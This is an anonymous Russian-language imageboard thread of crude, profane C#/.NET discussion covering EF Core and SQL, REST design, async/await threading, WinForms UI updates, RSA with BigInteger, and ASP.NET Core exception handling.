Зтем же, зачем и нужны знания структур данных и алгоритмов - для умения писать высокопроизводительный код. Зная только линк ты можешь нахуячить говна, которое и 100 запросов не выдержит, а нужно выдерживать тысячи таких запросов, поэтому помимо линк, нужно знать и сикьюел. Иногда вообще выгоднее чистый sql запрос написать, потому что линк конструкция неоправданно тормозит. В общем, линк это не замена, а инструмент для тех кто уже знает sql.
>знания структур данных и алгоритмов - для умения писать высокопроизводительный код
Ох и насмешил
>которое и 100 запросов не выдержит
О какой БД идет речь? О каких мощностях? Энивей, держи линк и не благодари
https://docs.microsoft.com/en-us/archive/msdn-magazine/2005/august/tools-of-the-trade-sql-server-profiler-and-query-analyzer
Какие еще у кого мысли насчет знаний SQL при EF+LINQ?
Ну вот пример из жизни. Пишу я на своем уютном EF Core, пишу-пишу и тут хуяк и свиду обычный запрос валится. Потому что еф генерирут запрос с кросс аплай, для sqlite, которая не поддерживает кросс аплай а починить обещают только в Net5 - https://github.com/dotnet/efcore/issues/19178 и хуль делать? Либо разбивать запрос (а там получается по дополнительному запросу к бд на каждую полученную запись, что пиздец), либо ручками написать запрос и вызвать через FromSqlRaw.
Я вроде чуток напиздел, можно было через 2 запроса, а в памяти уже группировать и джоинить как надо
энивей - прийдет новый разРАБ на твое место, увидет 2 запроса и начнет вилкой ковырять по тому, что не допиленно
> Вопрос - зачем тогда нужен SQL?
Тоже так когда-то думал. По итогу удобнее педалить sql, чем пердолиться с классами в шарпе. Прототипирование ты как будешь делать? Вот есть у тебя тысяча таблиц, тебе данные нужно покрутить. Да ты ты устанешь каждый раз базу скаффолдить и отладчиком писюн дрочить
А еще постгре нечувствителен к регистру. В результате названия классов распидорашивает, и мало ты что там поймешь
Иногда руками можно подтюнить запрос, чтобы работало быстрее. Но это редкость
>Прототипирование
Db first создается же модель под БД
То, что ты описал - это дрочка костылей. Если на проекте какой то Васян жидно пернув не сделал снепшот Бд и пошел крутить сущности, что по итогу привело к рассинхрону и не возможности сделать апдейт, тогда да.
Через что ты запрос делаешь, через ADO?
Есть заказ на приложение на xamarin.
Попалась сложная анимация: прокрутка списка со значениями. То есть есть carousel с label в котором значение.
Нужно изменять прозрачность объекта, другой label, в зависимости от скролла carousel.
Нашел библиотеку xamanimation. Но вот проблема как туда передать значения от 0 до 1, в значение progress.
Очень срочно нужно, помогите пожалуйста.
Я мысленно понимаю, что я не прав, т.к. на всех сервисах запросы передавались именно так. Поправьте меня.
https://en.wikipedia.org/wiki/Representational_state_transfer
Почитай. В кратце: ты работаешь с ресурсом. Определятся этот ресурс должен по URI. Твои формочки пересылают данные черз Body запроса, поэтому твой ID не участвует в формировании URI -> нужно смотреть BODY запроса, что затратно как на уровне железа, так и на когнетивном уровне.
и что, это для всех REST запросов распостраняется? Типо при регистрации метод будет не
[HttpPost]
public ActionResult CreateUser(User user) {}
а
public ActionResult CreateUser(int id, string userName... etc)
И строчка запроса получиться типо api/CreateUser/1?vasyan?admin
Чи шо? На какое то обрыганное пхп похоже
Биндинг параметров и строчка запроса никак не связанны
> Через что ты запрос делаешь, через ADO?
Когда работаю с постгре, через sqlraw по dbset. Потому что классы такие на выходе, что караул
С mssql использую ef как полагается
Но я про другое. Надо тебе данные прикинуть, а база в наличии – проще запросами примерную структуру набросать
Аноны, у меня прога работает с JSON,
и использует Newtonsoft.Json.dll
при помощи
>using Newtonsoft.Json;
Из этой dll-ки, вызываются только методы:
>JsonConvert.DeserializeObject
>JsonConvert.SerializeObject
Всё остальное, в проге - не используется, и нахуй не нужно.
До сих пор, программулина использует пре-компилированный, хуй знает кем Newtonsoft.Json.dll
Вдруг там вирьё заобфусцировано , или бекдоры, блядь? Хуй знает.
Решил я, в общем, сделать софтину опенсорцной...
Но как сходил сюда: https://github.com/JamesNK/Newtonsoft.Json/tree/master/Src
- охуел от многабукафф.
Внимание, вопрос:
Где нарыть Newtonsoft.Json.JsonConvert.cs без всяких лишних шняг, чтобы просто приинклюдить его и не ебать себе мозг?
Пока нашёл только это: https://my.oschina.net/u/4329266/blog/3221402
Но там чё-то по-китайски написано, и вдруг там закладки софтварные, и коровавирас - хз...
Может у кого есть исходник Newtonsoft.Json.dll в одном .cs-файле - прошу скиньте.
1) сходи к психологу, у тебя пароноя
2) https://docs.microsoft.com/en-us/dotnet/standard/serialization/system-text-json-how-to
Как правильно сделать
>rsa.Decrypt(encryptedData, false)
и сделать этот декрипт - приватным ключём (d, n),
после того, как данные были зашифрованы, с использованием
>rsa.Encrypt(sourceData, false),
и зашифрованы публичным ключём (e, n),
так вот, как сделать этот декрипт,
используя BigInteger и его метод modPow,
зная при этом значения (d, n) в виде hex'a или base64 (из того же xml-файла).
Чё-то оно вообще не декриптится при помощи modPow,
только rsa.Decrypt(encryptedData, false) может раздекриптить всё это зашифрованное дело,
а каким ключём - оно декриптит хрен поймёшь, и енкриптит ли вообще.
Свиду, вроде, какой-то шифр и есть, а иди знай шифр ли это, или зазондированная херота от копирастов,
которая брутится за час, слабенькой видяшкой васяна в гараже...
>Иди проспись.
От того, что я просплюсь, софтина опенсорцнее не станет.
>>757531
>Ты думаешь в рантайме и компиляторе нет закладок?
>>757465
>1) сходи к психологу, у тебя пароноя
Это я ещё тут параноик, блядь?
>>757541
>какие еще нахуй закладки?
Хардварные, в логических схемах, которые.
Иди знай какие из них дёргает прекомпилированная чья-то dll-ка.
>>757465
>2) https://docs.microsoft.com/en-us/dotnet/standard/serialization/system-text-json-how-to
Есть исходник для .NET Core 2.0?
>Хардварные, в логических схемах, которые.
Это ты так метаданные называешь, наркоман?
Тебе JsonConvert нужен? Сделай миграцию до 3.0+, где есть тип System.Text.Json и не еби мозги
>софтина опенсорцнее не станет
Куда уж попенсорснее MIT'a?
>...free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software...
>Это я ещё тут параноик
Таки да. еще и сарказма не уловил хотя бэкдор в рантайме куда реальнее, чем в либах от коммунити
>прекомпилированная
Скомпилируй сам
>Есть исходник для .NET Core 2.0?
Тута есть все исходники, включая компилятор, рантайм, fcl и т.д. - https://github.com/dotnet
>От того, что я просплюсь, софтина опенсорцнее не станет.
От того, что ты в наглую спиздишь код опенсорсом твоя софт на точно не станет.
>какие еще нахуй закладки?
>>757629
>Хардварные, в логических схемах, которые.
>Иди знай какие из них дёргает прекомпилированная чья-то dll-ка.
>>757636
>Это ты так метаданные называешь, наркоман?
Да причём тут метаданные, речь о зондах со слежкой, от ссыклоидов всяких, коим напичано и железо и софт.
Кстати, по поводу хардварных закладок, в логических схемах.
Не так давно, здесь: >>1755674 →
Всплыл шифр Шамира: https://ru.wikipedia.org/wiki/Протокол_Шамира
И по ссылке на статью о самом Шамире: https://ru.wikipedia.org/wiki/Шамир,_Ади
Видно его цитату:
>В 2007 году, по сообщениям rnd.cnews.ru, Ади Шамир заявил,
>что для современных криптосистем серьёзная угроза таится в виде роста числа невыявленных ошибок,
>вызванных постоянным усложнением микропроцессоров.
>«Если спецслужбы обнаружат или скрытно внедрят в популярный микропроцессор
>алгоритм неправильного вычисления произведения только лишь одной пары чисел A и B
>(хотя бы в бите номер 0, то есть наименее значимом бите),
>то любой ключ в любой RSA-программе на любом из миллионов ПК
>с этим чипом может быть взломан с помощью единственного сообщения», — пишет Ади Шамир.
>Взлом может быть применен к любой системе, где задействованы открытые ключи,
>причем сейчас это не только ПК, но и телефоны и другие устройства.
Вот такие вот хардварные закладки.
Так-то только с виду кажется, что обратной совместимости нет, потому что делается всё через жопу,
по принципу "хуяк-хуяк, и в продакшн". На деле же, внутри новинок - куча зондов, жуков, бекдоров, вирасов, троянов и червей вроде WinWorms.
>какие еще нахуй закладки?
>>757629
>Хардварные, в логических схемах, которые.
>Иди знай какие из них дёргает прекомпилированная чья-то dll-ка.
>>757636
>Это ты так метаданные называешь, наркоман?
Да причём тут метаданные, речь о зондах со слежкой, от ссыклоидов всяких, коим напичано и железо и софт.
Кстати, по поводу хардварных закладок, в логических схемах.
Не так давно, здесь: >>1755674 →
Всплыл шифр Шамира: https://ru.wikipedia.org/wiki/Протокол_Шамира
И по ссылке на статью о самом Шамире: https://ru.wikipedia.org/wiki/Шамир,_Ади
Видно его цитату:
>В 2007 году, по сообщениям rnd.cnews.ru, Ади Шамир заявил,
>что для современных криптосистем серьёзная угроза таится в виде роста числа невыявленных ошибок,
>вызванных постоянным усложнением микропроцессоров.
>«Если спецслужбы обнаружат или скрытно внедрят в популярный микропроцессор
>алгоритм неправильного вычисления произведения только лишь одной пары чисел A и B
>(хотя бы в бите номер 0, то есть наименее значимом бите),
>то любой ключ в любой RSA-программе на любом из миллионов ПК
>с этим чипом может быть взломан с помощью единственного сообщения», — пишет Ади Шамир.
>Взлом может быть применен к любой системе, где задействованы открытые ключи,
>причем сейчас это не только ПК, но и телефоны и другие устройства.
Вот такие вот хардварные закладки.
Так-то только с виду кажется, что обратной совместимости нет, потому что делается всё через жопу,
по принципу "хуяк-хуяк, и в продакшн". На деле же, внутри новинок - куча зондов, жуков, бекдоров, вирасов, троянов и червей вроде WinWorms.
чего с чем? Алло, уже 3.1 по полной гуляет, ты еще на 2.0 сидишь
>>757644
>От того, что я просплюсь, софтина опенсорцнее не станет.
>От того, что ты в наглую спиздишь код опенсорсом твоя софт на точно не станет.
ты зеленый или долбоеб, я одного не пойму? Что за хуйню ты несешь?
>Всплыл шифр Шамира
шифр - это протокол. Ты свой JSON передаешь по TCP/Ip через http протокол, алгоритмы которого уже задекларированны и никакой 3ей стороны кроме ssl быть не может
Высеры дальше тяжело укладываются в логическую смысловую конструкцию, поэтому завершу свой пост назвав тебя долбоебом и шизиком. Иди как ты лучше нахуй проспись, как тебе советовали выше
Проигнорировать лицензию, например
Под system.text.json нет нормальных генераторов типов из json строки
WTFPL рулит, там тру копилефт.
я читал вот этот пост на so: https://stackoverflow.com/a/49109517/7162511, он вроде складно объясняет, но он говорит о важности выполнения долгих IO операций на бэкграунд тредах, чтобы не ебать основной тред пул веб сервера, но после первого await'а дело же уже происходит в бэкграунде.
При регистрации строчка запроса будет:
>POST (или PUT) https://xui.com/api/users
со всей нужной инфой в body запроса. Серьезно, почитай подробно про REST прежде чем спрашивать всякий бред.
Я конечно особо не шарю, но думаю такой эффект у тебя вышел из-за того что main асинхронный. Но я просто студент и высказал догадку. Попробуй это же с синхронным мейном проделать.
Чет у тебя каша в голове. Разница между background и foreground потоками, только в том что foreground поток будет "держать" процесс живым, а background потоки будут автоматически завершены, если в процессе не осталось foreground потоков. К асинхронности это отношения не имеет. Тяжелые CPU операции стоит делать асинхронными, что б вычисления не блокировали основной поток и программа оставалась отзывчивой. IO операции стоит делать асинхронными, потому что пока свою часть работы выполняет диск/сеть/и т.д. тред может выполнить что нибудь еще, а не просто ждать. Что касается await'a, то если очень просто, можешь рассматривать его как некое подобие return'a - поток выйдет из метода (хоть и не всегда) и будет исполнять ко дальше, но в отличии от обычного return'a часть после await'a будет выполнена потом, каким нибудь потоком из пула (хоть и не всегда).
Для начала могу посоветовать пикрил.
как я тебе метод с вызовом await'ов без async сделаю?
>>758719
я может неправильный пример привёл с выводом IsBackground и IsThreadPool, меня на самом деле интересовало, может ли часть после второго await уйти в другой тред, а не остаться в треде 1 await'а.
я читал статьи у майков про использование await, IO-bound и CPU-bound code и использую его постоянно, просто не до конца понимаю один момент. меня интересует конкретно случай с дата-репозиториями. вот они представляют с собой IO-bound code, т.к. содержат обращения к БД. я понимаю, зачем нужен 1 await с точки зрения asp.net core - освободить поток реквеста, чтобы больше запросов от клиентов могло одновременно обрабатываться. зачем нужен 2 await на втором обращении к дата-репозиторию, если этот вызов после первого await уже будет в потоке из тред пула? только потому что
>поток выйдет из метода (хоть и не всегда) ... каким нибудь потоком из пула (хоть и не всегда)
?
>потому что пока свою часть работы выполняет диск/сеть/и т.д. тред может выполнить что нибудь еще, а не просто ждать.
это как это, а без await такой оптимизации не происходит?
Я вот таски и асине-эвейт всегда воспринимал как-то типа: Пусть этот метод где-то выполнится, потом я заберу его результат, в это время основная работа продолжится. Допустим как раз с обращением к БД, я делаю запрос, в это же время пользователь может нажимать кнопочки и не кода запрос завершится - я отрисую ему новые данные. А вы какие-то потоки, какие-то IO-bounded прочее. Неужели я должен тоже думать об этом? Ну просто допустим, я хочу сделать 10 независимых запросов к разным сайтам: картинки, инфу о пользователе, его список любимых песенок и т.д. Я всегда просто делал несколько тасков, пихал их в лист, внутри делал какой-то эвент, типа кусок данных, который нужно отрисовать - получен, ну и по эвенту - рисовал что-то. А у вас такие вот сложности с какими-то потоками. Хуй знает короче. Я почему-то не заметил проблем с разработкой, не задумываясь об этом.
>Я вот таски и асине-эвейт всегда воспринимал как-то типа
всё верно. нюансы типа IO-bound и CPU-bound возникают для меня, по крайней мере, только в asp.net core в контексте best practices по многопоточности. в статьях майки и все остальные пишут, что например для чтения данных из БД Task.Run как враппер async over sync использовать не стоит, потому что чё то там отжирается поток из тред пула реквестов, потом возвращается, и типа планировщику это всё не нравится, а лучше использовать await, натравленный на асинхронные методы материализации IQueryable.
>Неужели я должен тоже думать об этом?
в декстопе на мой взгляд нет, хотя все обращения к сайтам - IO bound. CPU-bound это непосредственно обработка данных, выполняемая после получения данных.
еще можно еще послушать товарища сверху с его утверждением, что тред может выполнять что нибудь еще, пока ждет IO-bound код, ожидаемый await'ом. просто в моём представлении за await никакой магии не стоит, и это просто синтаксический сахар, заворачивающий код под ним в континюейшн.
>А у вас такие вот сложности с какими-то потоками.
да понятно, что и на Task.Run всё будет работать, но у меня какое то профессиональное любопытство, что ли
>может ли часть после второго await уйти в другой тред
может
>я понимаю, зачем нужен 1
и второй для того же самого - пока бд проперживается потокой пойдет и сделает что нибудь полезное, а не залочитс на ожидании этой бд.
>вызов после первого await уже будет в потоке из тред пула?
Так тред-пул не резиновый (хотя конечно в разумных пределах резиновый, но в любом случае создание потока тяжелая операция)
>?
Например, код может выполнится синхронно, если ожидаемая задача уже завершена к моменту ожидания (await).
> а без await такой оптимизации не происходит
await это сахар, асинхронный код можно писать и без него, но с ним проще и удобнее
>и второй для того же самого - пока бд проперживается потокой пойдет и сделает что нибудь полезное, а не залочитс на ожидании этой бд.
кажись понял профит, но не понял, как это работает. типа при достижении IO-bound кода, тред уходит обратно в тред пул. а потом продолжение после IO-bound кода кто раскочегаривает в уже возможно новом потоке из тред пула? какой нибудь планировщик?
У тебя под капотом таски обернуты в сорт оф перечисления. По сути эвейтом ты yield делаешь, там стейтмашина проходится по таскам, которые были уже запущены, когда находится тот таск, что завершен - хвост функции после await помещается в какой-нибудь из тредов и продолжает выполнение. Ну, я так примерно это понял, когда читал. Да, я не тот умняша, а просто студентота что мимо проходила.
Бампецкий. Или хотя-бы дайте исходники методов rsa.Encrypt() и rsa.Decrypt(), чтобы понять что за хуйню оно пишет на выходе.
Вопрос заключается в том, насколько корректно так писать и почему это работает
///код отдельного потока
double value = Something.getValue();
textBoxForValue.BeginInvoke = (
new Action(()=>{textBoxForValue.Text = value.toString();})
);
///конец кода отдельного потока
Вопрос в том, насколько корректно обращаться к переменной value, которая находится в контексте созданного потока при асинхронном выполнении делегата в потоке UI? Action же будет выполнять в потоке UI, в котором был вызван BeginInvoke будет уничтожен после завершения вызова. Или я чего-то не понимаю. Нахуя тогда в BeginInvoke 2 параметром object[], если в лямбдах доступны все переменные, которые в той же области видимости.
если в VS навести на => курсор, то там интеллисенс подскажет типа variables captured: и список. рискну предположить, что когда лямбда разворачивается при компиляции в код, переменные как то копируются и передаются параметрами в экшн. но вообще разве не лучше делать в хэндлере
double value = await Something.GetValueAsync();
textBoxForValue.Text = value.ToString();
?
Не совсем понял тебя. Ты не можешь обновить GUI из другого потока, отличного от основного потока winForm, в котором были созданы контролы. Для этого и делаю beginInvoke, чтобы вызвать эти изменения в основном потоке.
await все сделает за тебя - так как в формах однопоточный контекст, то продолжение задачи после await'a будет быполнено в исходном потоке т.е. UI. Об этом надо помнить еще и для того что бы не словить deadlock, когда UI поток заблокирован ожиданием таски, а что бы выполнить таску нужен UI поток. Если UI поток не нежен, то следует вызвать .ConfigureAwailer(false);
Зачем? Может будет проще это сделать администрированием, а не прогрраммированием.
P.S. Если твоя программа забивает со временем память, значит ищи где у тебя утечка памяти. Ну или. если ты дурачек и хранишь все в оперативе, то время от времени сбрасывай данные на диск.
создаёшь в VS проект windows service, ему в OnStart пишешь запуск любого таймера, на обработкик Elapsed пишешь метод, который будет делать что тебе там надо. можешь поставить там таймер на 5 сек, в принципе, это не while(true), так что CPU сильно ебашить не будет. потом гуглишь, как его устанавливать, там надо через cmd какую то утилиту из .net натравить на .exe скомпиленного сервиса. или если хочешь заморочиться, то гуглишь, как сделать WiX-установщик, но имхо это лишнее, если ты не кому то это делаешь но это если тебе не надо прямо мгновенное реагирование на действия пользователя. если надо - то тогда только гуглить как хукать такие события у каждой конкретной программы, но тут я ничего не подскажу, не факт даже, что без ковыряния WinAPI такое получится.
Создай в вижаке обычный проект "Windows Forms App".
Он тебе высрет что-то вроде пикрила.
Файл с формой можно удалить, "new Form1()" тоже убери из Run, чтобы был просто вызов Application.Run() без аргумента.
Собственно, это будет твоя программа, которая постоянно висит в памяти.
Дальше перед строчкой Application.Run() создай Timer, и повесь ему событие с нужным интервалом (1000 мс., например), из которого шарься по процессам и делай что нужно.
Если не хочешь каждый раз закрывать свою прогу через диспетчер задач (или хочешь как-то ей управлять), то прикрути иконку с контекстным меню в трей (new NotifyIcon(), new ContextMenu(), и т.д.)
Нахуй пошлю.
Ну и так пойдет, в принципе. Спасибо.
>почитай подробно про REST прежде чем спрашивать всякий бред
и что же в REST написанно, каким способом реквесты делать под API?
Вот линк, который растолковывает, как нужно делать Rest api services
https://docs.microsoft.com/en-us/aspnet/core/tutorials/first-web-api?view=aspnetcore-3.1&tabs=visual-studio
В рефакторинге нуждается всё приложение, если в нём есть класс на 1500 строк.
Как я понял, rsa.Encrypt() шифрует только при помощи publicKey, импортированного в RSAParameters,
либо же пабом из privateKey, импортированном опять же в RSAParameters.
rsa.Encrypt() же, дешифрует шифр только при помощи privateKey, который нужно импортировать в RSAParameters.
Однако, RSA может шифровать с помощью privKey, и дешифровать с помощью pubKey:
>(e, n) - pubKey
>(d, n) - privKey
>m = message
>c = m ^ e mod n; // encrypt by pub to cipher
>m_ = c ^ d mod n; //decrypt by priv from cipher
>(m == m_) //true
>c = m ^ d mod n; //encrypt by priv to cipher
>m_ = c ^ e mod n; //decrypt by pub from cipher
>(m == m_) //true
//signature
>c = m ^ d mod n; //encrypt by priv to cipher
>//(m, c) -> transfer cypher and message
//Verify signature:
>m_ = c ^ e mod n; //decrypt cipher by pub
>(m == m_) // compare m with m_ to verify signature - true/false
И вот как зашифровать приватным ключём, а расшифровать публичным - хуй знает.
Кроме метода modPow из BigInteger - я не вижу другого варианта,
так как исходников самих этих методов rsa.Encrypt() и rsa.Decrypt() не найти, только описания методов.
Как я понял, rsa.Encrypt() шифрует только при помощи publicKey, импортированного в RSAParameters,
либо же пабом из privateKey, импортированном опять же в RSAParameters.
rsa.Encrypt() же, дешифрует шифр только при помощи privateKey, который нужно импортировать в RSAParameters.
Однако, RSA может шифровать с помощью privKey, и дешифровать с помощью pubKey:
>(e, n) - pubKey
>(d, n) - privKey
>m = message
>c = m ^ e mod n; // encrypt by pub to cipher
>m_ = c ^ d mod n; //decrypt by priv from cipher
>(m == m_) //true
>c = m ^ d mod n; //encrypt by priv to cipher
>m_ = c ^ e mod n; //decrypt by pub from cipher
>(m == m_) //true
//signature
>c = m ^ d mod n; //encrypt by priv to cipher
>//(m, c) -> transfer cypher and message
//Verify signature:
>m_ = c ^ e mod n; //decrypt cipher by pub
>(m == m_) // compare m with m_ to verify signature - true/false
И вот как зашифровать приватным ключём, а расшифровать публичным - хуй знает.
Кроме метода modPow из BigInteger - я не вижу другого варианта,
так как исходников самих этих методов rsa.Encrypt() и rsa.Decrypt() не найти, только описания методов.
>rsa.Decrypt() же, дешифрует шифр только при помощи privateKey, который нужно импортировать в RSAParameters.
Ну, типа я студент думаю наверное это уже миллион раз реализовали. Но я что-то не видел. А тут думаю, смотрите, ну базовый класс: HTMLDocument, в нем есть ноды с тегами, каждому тегу - можно стиль нахреначить, потом метод Save(string path), хобана - мы собрали html'ку, а можно ToString и отдавать в качестве ответа какого-то. Опять же, наверное это все давно реализовано, но будет ли полезно иметь свою реализацию на гитхабе? Или лучше что-то более прикладное зафигачить, типа автоматизация продажи дилдаков на микросервисной архитектуре?
Это практический туториал для людей которые уже знакомы с REST и хотят узнать как это делать в ASP.NET Core. Надо читать теорию, статьи, книги, видео которые объясняют саму идею, принципы, лучшие практики и т.д. а потом уже читать гайды на msdn.
https://github.com/dotnet-architecture/eShopOnWeb/blob/master/src/Web/Controllers/ManageController.cs
нахуй он Exception возвращает в контроллере?
Будет плюсом в том смысле, что люди согут посмотреть на твой code style. Если будет популярна как nuget, будет большим плюсом. Но это маловероятно.
Либо было лень нацепить ExceptionFilterAttribute, либо он считает что 500 - приемлемый код вместо 400/404.
Ставлю на первое, ему даже лень было отнаследоваться от ApplicationException
Например для для переменной string name = null => name.IsNull() --> true
Или направить что учить скажите
Я как-то отдавал HTML с C#, в качестве стартовой страницы загрузки одностраничного сайта.
Там надо просто строчку (string), ескапнуть, символом @,
а после него, в двойных кавычках, сунуть код html-страницы,
где каждая двойная кавычка заменена на две двойные.
Так можно и скрипты на JavaScript, в код на C# пихать, и потом, как файл их сохранять, или просто отдавать.
Но я, кажется, не совсем понял что ты хочешь.
Ты хочешь своей десериализацией - именно распарсить теги, в какой-то объект, верно?
Если же, ты хочешь стили к тегам прикрутить, в чём проблема сделать замену тега на тег с классом, а стиль прописать в блоке <style></style>, указав там класс и стиль?
>Опять же, наверное это все давно реализовано, но будет ли полезно иметь свою реализацию на гитхабе?
Так ты сначала чётко сформулируй что именно ты хочешь, может это в один gist уложится, или вообще в пару строк, или в вызов стандартного метода из какой-нибудь либы.
>Или лучше что-то более прикладное зафигачить, типа автоматизация продажи дилдаков на микросервисной архитектуре?
Лучше уж автоматизация их производства, на стандартной архитектуре микроядра, главное пиши на .NET Core 2.0, чтобы полная обратная совместимость была.
Я не совсем понял в чем проблема. Типа ты хочешь для типов по значению проверять или классов? Если классов, то прикриплейд.
Я хочу следующего.
Есть класс: HtmlDocumet, он как-бы в себе хранит описание все странички. У него есть методы: LoadDocument, SaveDocument и ToString, первый - позволяет получить строку и в случае если это валидный HTML - инициализировать свойства класса, второй - сохранить тот документ что есть куда-то, ToString - то что есть в классе вернуть в виде строки, которая явялется валидным HTML. Так же у документа есть свойства: HtmlNode, которые являются деревом тегов, корнем, естественно - <html>, затем <head> и <body>, дальше уже заполняем в зависимости от того что нам надо. Как-то так на базовом уровне. У ноды есть всякие свойства и, соответственно, значения.
Зачем нужно. Например, чтобы я мог, взять страничку уже готовую, и уже программными методами добавить например элементов в список, при этом может быть ебануть каким-то элементам стили и это вот все и вернуть уже новую страничку, при этом не прописывая каждый раз ручками строки того что добавить нужно. Примерно как-то так:
var html = new HtmlDocumet("index.html");
html.Body.AddLast(new MarkedList{ new ListItem(){value = "1"}, new ListItem(){value = "2", style = new Style(){color = "#faf"}});
html.SaveDocumet("index2.html");
Опять же, я думаю что такое давно есть, но мне было бы интересно самому попробовать намутить.
Блин, точно не могу сказать. Но я думаю что это связанно с классом Nullable.
Но твой код мне кажется интересным, спасибо что отозвался и решил помочь, я думаю этого достаточно для меня
>мне было бы интересно самому попробовать намутить
Если хочешь изобретать велосипед - вперёд.
>Опять же, я думаю что такое давно есть
Конечно есть. Гугли html-парсеры. Сходу нарыл это: https://ru.stackoverflow.com/a/420355
Как видишь, там можно парсить html в объект, и получать, а также изменять отдельные аттрибуты html-тегов, в частности, эти вот стили, в аттрибуте style="бла-бла",
или просто можно добавить к тегу class="blah-blah",
и в секции <style> расписать стиль к элементам этого класса.
>Если хочешь изобретать велосипед - вперёд.
А вообще, я только за узкоспециализированные, коротенькие решения, в одном .cs-файле в виде gist'a на github'e,
и c годным, лаконичным описанием.
Как, например, вот этот BigInteger.cs
>https://github.com/bazzilic/BigInteger/tree/master/BigInteger
Всего один файлик. Скопировал его приинклюдил, и юзаешь себе:
> csc.exe -optimize -out:"test_RSA_CSharp.exe" "test_RSA_CSharp.cs" "BigInteger.cs"
Вместо того, чтобы такие вот нагромождения инклюдить:
https://github.com/JamesNK/Newtonsoft.Json/tree/master/Src/Newtonsoft.Json
тут 80% комментов, не катит. Тем более CoreLib
сап, может кто нить написать функцию пробегающуюся по всем емуйлам в массиве и если email заканчивается на .gmail.com выводить строку "Part is a Google user"
где Part это все что до @ в email
в противном случае выводить просто email
Например для
[ "
должно вывестись
["adam is a Googler","
https://pastebin.com/3uXyU5aJ
если что вот решение на хаскеле, просто
1) я дольше буду все что нужно ставить и гуглить как делается чем делать
2) не хочу об ваш скотоублюдский язык шквариться
Так не шкварься и пиши на хачкеле. На нашем языке это делается в 2 строки.
Твоё решение говно, кстати. Потому что обосрется если в массиве будет строка вида "@gmail.com" или " @gmail.com" или любая другая строка, которая заканчивается на @gmail.com, но не является валидным email адресом.
слепил FilterExceptionAttribute, теперь встал вопрос - у меня DAL, если не находит элемент в Бд выстреливает Exception-ом. Но проблема в том, что этот эксепшен сразу ложит приложение, а не передает по стэку к контроллеру. Как такое фиксить?
Что за хуета, почему не работает? Все делаю по тутору - ASP.NET Core web api, все один в один - приложение падает от Exception. НЕ ПОЙМУ
Если исходить из того, что будут переданы всегда валидные email'ы, то нужно добавить else x.Add(y);
Если не исходить, то нужно в самом начале регуляркой проверять валидный ли это email адрес, после чего всё тоже самое с добавленным else x.Add(y);
Переписывай ручками, тебе только на пользу пойдёт.
блять такая хуета конечно, даже не врубаюсь какой синвенс пайплайна, чтобы определить сконфигурировался мидлвар или нет
к тому же я не знаю можно ли обратиться к вебметоду с консольки браузера, можно?
>2020, на подходе .NET 5, WASM, razor components
>/testwebmethod.aspx/
боже братишка зачем????
полноценный front-end фреймворк на .net
wasm никому нахуй не нужен. Надеюсь на то, что TS впилят вовнутрь ASP.NET и будет полноценный Fullstack
if(oldEntity.name != newEntity.name)
{
oldEntity.name = newEntity.Name
}
Чи шо? Я думаю маппер какой ни будь заюзать, чтобы такой хуйней не заниматься. Что скажите?
скажу, что ты усложняешь. в случае EF есть мизерный оверхед от обновления свойств хотя с выключенным трекингом он наверно к нулю сводится. если нет никакой бизнес логики за обновлением сущности, то просто переприсваивай свойства и не ебай мозга преждевременной оптимизацией.
Предложи ему заливать код проекта в бд, сделать другой проект, который будет долбить бд по таймеру а лучше в бесконечном цикле, так система отзывчивее будет, собирать и деплоить его на прод. Сразу поймет, что ты тип шаровой где ты работаешь, что у вас такие ебанутые решения?
В мухосранске же. Думал после шараги типа опыта наберусь и попробую перекатиться хотя бы в миллионник, но с каждым днем мне кажется, что этот опыт будет скорее вредным, потому что тут какой-то культ велосипедов и костылей, а git под запретом, потому что сложный и непонятный и лучше будет общая папочка и рядом скриптик, жмакаешь скриптик перед тем как в папочку положить - он содержимое в архивчик и в другую папочку кладет, потом можешь новый код туда добавить, такая вот систему управления версиями, кек. Зато люди на самом деле довольно милые, добрые и не заебывают этими вашими спринтами и всей остальной штукой, сколько времени надо - столько и кодь.
Ну, тогда у тебя есть вариант сделать как они хотят и сделать правильно. А потом показать приемущества твоего подхода и подтянуть команду.
>Делать перебором свойств на == ?
если ты один объект обновляешь, то забей. ты тратишь время раздумья и собсна оптимизацию того, что оптимизировать нет смысла.
>И как нахуй Update в EF работает?
остановись в дебаге где нибудь, где есть твой DbContext и попрыгай по его свойствам. там у него где то внутри зарыты изменения, которые применяются при вызове .SaveChanges().
Не делай никаких сравнений, просто присваивай и сохраняй.
EF сам сравнит новые значения со старыми при детектировании изменений при сохранении и, если надо, сохранит тебе твои новые значения.
>что оптимизировать нет смысла.
дело больше в том, чтобы инкапсулировать маппинг в 1 месте и не париться, даже не смотря на то, что ебаный маппер весит 30 МАТЬ ЕГО мегабайт.
У меня 10 сущностей, это 10 проверок (практически одинаковых), а будет больше - уже венигред. И да, по S(O)LID это не правильно
>>761807
https://pastebin.com/zELEufPq
или я дэбил или я чего то не понимаю. wh - текущая сущность. WareHouse - [FromBody] controller. Остальные проверки в контроллере. Если использую метод Update - выстреливает на:
"The instance of entity type 'WareHouse' cannot be tracked because another instance with the same key value for {'Id'} is already being tracked. When attaching existing entities, ensure that only one entity instance with a given key value is attached. Consider using 'DbContextOptionsBuilder.EnableSensitiveDataLogging' to see the conflicting key values.""
ыыыы))))
sendedTotal = 0;
fileSize = 102410241024;
file = new byte[fileSize];
progress = 0;
while(true)
{
var sended = await socket.SendAsync(file[sendedTotal..], SocketFlags.None);
sendedTotal += sended;
progress = 100*sendedTotal / fileSize;
UpdateProgressBar(progress);
if(sendedTotal >=fileSize )break;
}
Очевидно что у тебя два объекта с одним и тем же айди. Пройдись по коллстеку, посмотри где ты свои склады создаёшь.
вчера пол ночи проебался, ошибка была в плюрализации
это джс что ли? а если я загружаю через асп елемент "file.upload" как мне его заюзать?
это не норм, т.к. ты нахуй послал все принципы SOLID. Изначально нужно было учесть все ньюансы при согласовании задачи. Будет тебе опыт. И кто сказал, что для микросервиса 5к строк это много?
Такое полотно высрал, а сути ноль. Ты понимаешь, что под твоими "импорт, стратегия, расписание, много импортов" можно вообще всё что угодно надумать?
То что задачи меняются постоянно, это обычное дело, именно для этого придумали такие понятия как паттерны проектирования, рринципы солид и тест драйвен девелопмент, которые помогт расширять и поддерживать код.
Какая разница сколько строчек? Главное задачу решить. А ванлайнеры потом будешь сам писать, когда с синтаксисом и стандартной библиотекой разберешься.
